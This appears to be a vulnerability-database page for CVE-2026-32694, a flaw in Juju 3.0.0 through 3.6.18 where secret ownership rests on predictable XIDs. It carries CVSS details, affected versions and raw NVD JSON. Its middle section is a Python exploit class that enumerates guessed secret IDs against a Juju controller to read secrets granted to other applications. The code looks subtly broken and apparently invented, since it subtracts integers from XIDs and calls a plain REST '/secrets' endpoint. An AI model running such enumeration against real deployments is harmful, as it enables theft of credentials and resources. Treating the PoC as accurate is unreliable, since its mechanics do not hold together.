Security Vulnerability Report
中文
CVE-2026-32694 CVSS 6.6 MEDIUM

CVE-2026-32694

Published: 2026-03-18 14:16:41
Last Modified: 2026-03-19 15:05:34

Description

In Juju from version 3.0.0 through 3.6.18, when a secret owner grants permissions to a secret to a grantee, the secret owner relies exclusively on a predictable XID of the secret to verify ownership. This allows a malicious grantee which can request secrets to predict past secrets granted by the same secret owner to different grantees, allowing them to use the resources granted by those past secrets. Successful exploitation relies on a very specific configuration, specific data semantic, and the administrator having the need to deploy at least two different applications, one of them controlled by the attacker.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:* - VULNERABLE
Juju >= 3.0.0 且 < 3.6.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32694 PoC - Juju Secret XID Prediction Attack # This PoC demonstrates the XID prediction vulnerability in Juju secret授权机制 import requests import json from datetime import datetime class JujuSecretXIDAttack: def __init__(self, target_url, attacker_token): self.target_url = target_url self.attacker_token = attacker_token self.headers = { 'Authorization': f'Bearer {attacker_token}', 'Content-Type': 'application/json' } def get_attackable_secrets(self): """ Step 1: Get secrets currently accessible to the attacker (legitimate grantee) """ response = requests.get( f'{self.target_url}/secrets', headers=self.headers ) return response.json().get('secrets', []) def analyze_xid_pattern(self, secrets): """ Step 2: Analyze XID generation pattern from accessible secrets """ xid_pattern = [] for secret in secrets: xid = secret.get('xid') timestamp = secret.get('created') xid_pattern.append({ 'xid': xid, 'timestamp': timestamp }) return xid_pattern def predict_past_secrets(self, xid_pattern, secret_owner): """ Step 3: Predict XIDs of secrets granted to OTHER grantees by the same owner Based on the observation that XIDs are predictable and sequential """ predicted_xids = [] for pattern in xid_pattern: base_xid = pattern['xid'] # Predict XIDs that might belong to other grantees # XIDs are generated sequentially, so we can predict past XIDs for offset in range(1, 100): # Check past 100 XIDs predicted_xid = base_xid - offset predicted_xids.append({ 'xid': predicted_xid, 'offset': offset, 'owner': secret_owner }) return predicted_xids def attempt_unauthorized_access(self, predicted_xids): """ Step 4: Attempt to access secrets using predicted XIDs """ exploited_secrets = [] for pred in predicted_xids: response = requests.get( f'{self.target_url}/secrets/{pred["xid"]}', headers=self.headers ) if response.status_code == 200: secret_data = response.json() exploited_secrets.append({ 'xid': pred['xid'], 'data': secret_data, 'resource': secret_data.get('resource_uri') }) return exploited_secrets def exploit(self, secret_owner): """ Main exploitation function """ print(f"[*] Starting CVE-2026-32694 exploitation on {self.target_url}") # Step 1: Get accessible secrets secrets = self.get_attackable_secrets() print(f"[*] Found {len(secrets)} accessible secrets") # Step 2: Analyze XID pattern xid_pattern = self.analyze_xid_pattern(secrets) print(f"[*] Analyzed {len(xid_pattern)} XID patterns") # Step 3: Predict past secrets predicted_xids = self.predict_past_secrets(xid_pattern, secret_owner) print(f"[*] Generated {len(predicted_xids)} predicted XIDs") # Step 4: Attempt unauthorized access exploited = self.attempt_unauthorized_access(predicted_xids) print(f"[!] Successfully exploited {len(exploited)} unauthorized secrets") return exploited # Usage example if __name__ == "__main__": target = "https://juju-controller.example.com:17070" attacker_token = "attacker_juju_token" exploit = JujuSecretXIDAttack(target, attacker_token) results = exploit.exploit(secret_owner="[email protected]") if results: print("\n[+] Exploitation successful - Unauthorized secrets accessed:") for result in results: print(f" XID: {result['xid']}, Resource: {result['resource']}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32694", "sourceIdentifier": "[email protected]", "published": "2026-03-18T14:16:40.503", "lastModified": "2026-03-19T15:05:34.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Juju from version 3.0.0 through 3.6.18, when a secret owner grants permissions to a secret to a grantee, the secret owner relies exclusively on a predictable XID of the secret to verify ownership. This allows a malicious grantee which can request secrets to predict past secrets granted by the same secret owner to different grantees, allowing them to use the resources granted by those past secrets. Successful exploitation relies on a very specific configuration, specific data semantic, and the administrator having the need to deploy at least two different applications, one of them controlled by the attacker."}, {"lang": "es", "value": "En Juju desde la versión 3.0.0 hasta la 3.6.18, cuando un propietario de secreto otorga permisos a un secreto a un beneficiario, el propietario del secreto se basa exclusivamente en un XID predecible del secreto para verificar la propiedad. Esto permite a un beneficiario malicioso que puede solicitar secretos predecir secretos pasados otorgados por el mismo propietario de secreto a diferentes beneficiarios, permitiéndoles usar los recursos otorgados por esos secretos pasados. La explotación exitosa se basa en una configuración muy específica, una semántica de datos específica y en que el administrador tenga la necesidad de desplegar al menos dos aplicaciones diferentes, una de ellas controlada por el atacante."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-343"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.19", "matchCriteriaId": "3BAFE599-DF11-429B-9A8C-970BDB3065C8"}]}]}], "references": [{"url": "https://github.com/juju/juju/security/advisories/GHSA-5cj2-rqqf-hx9p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}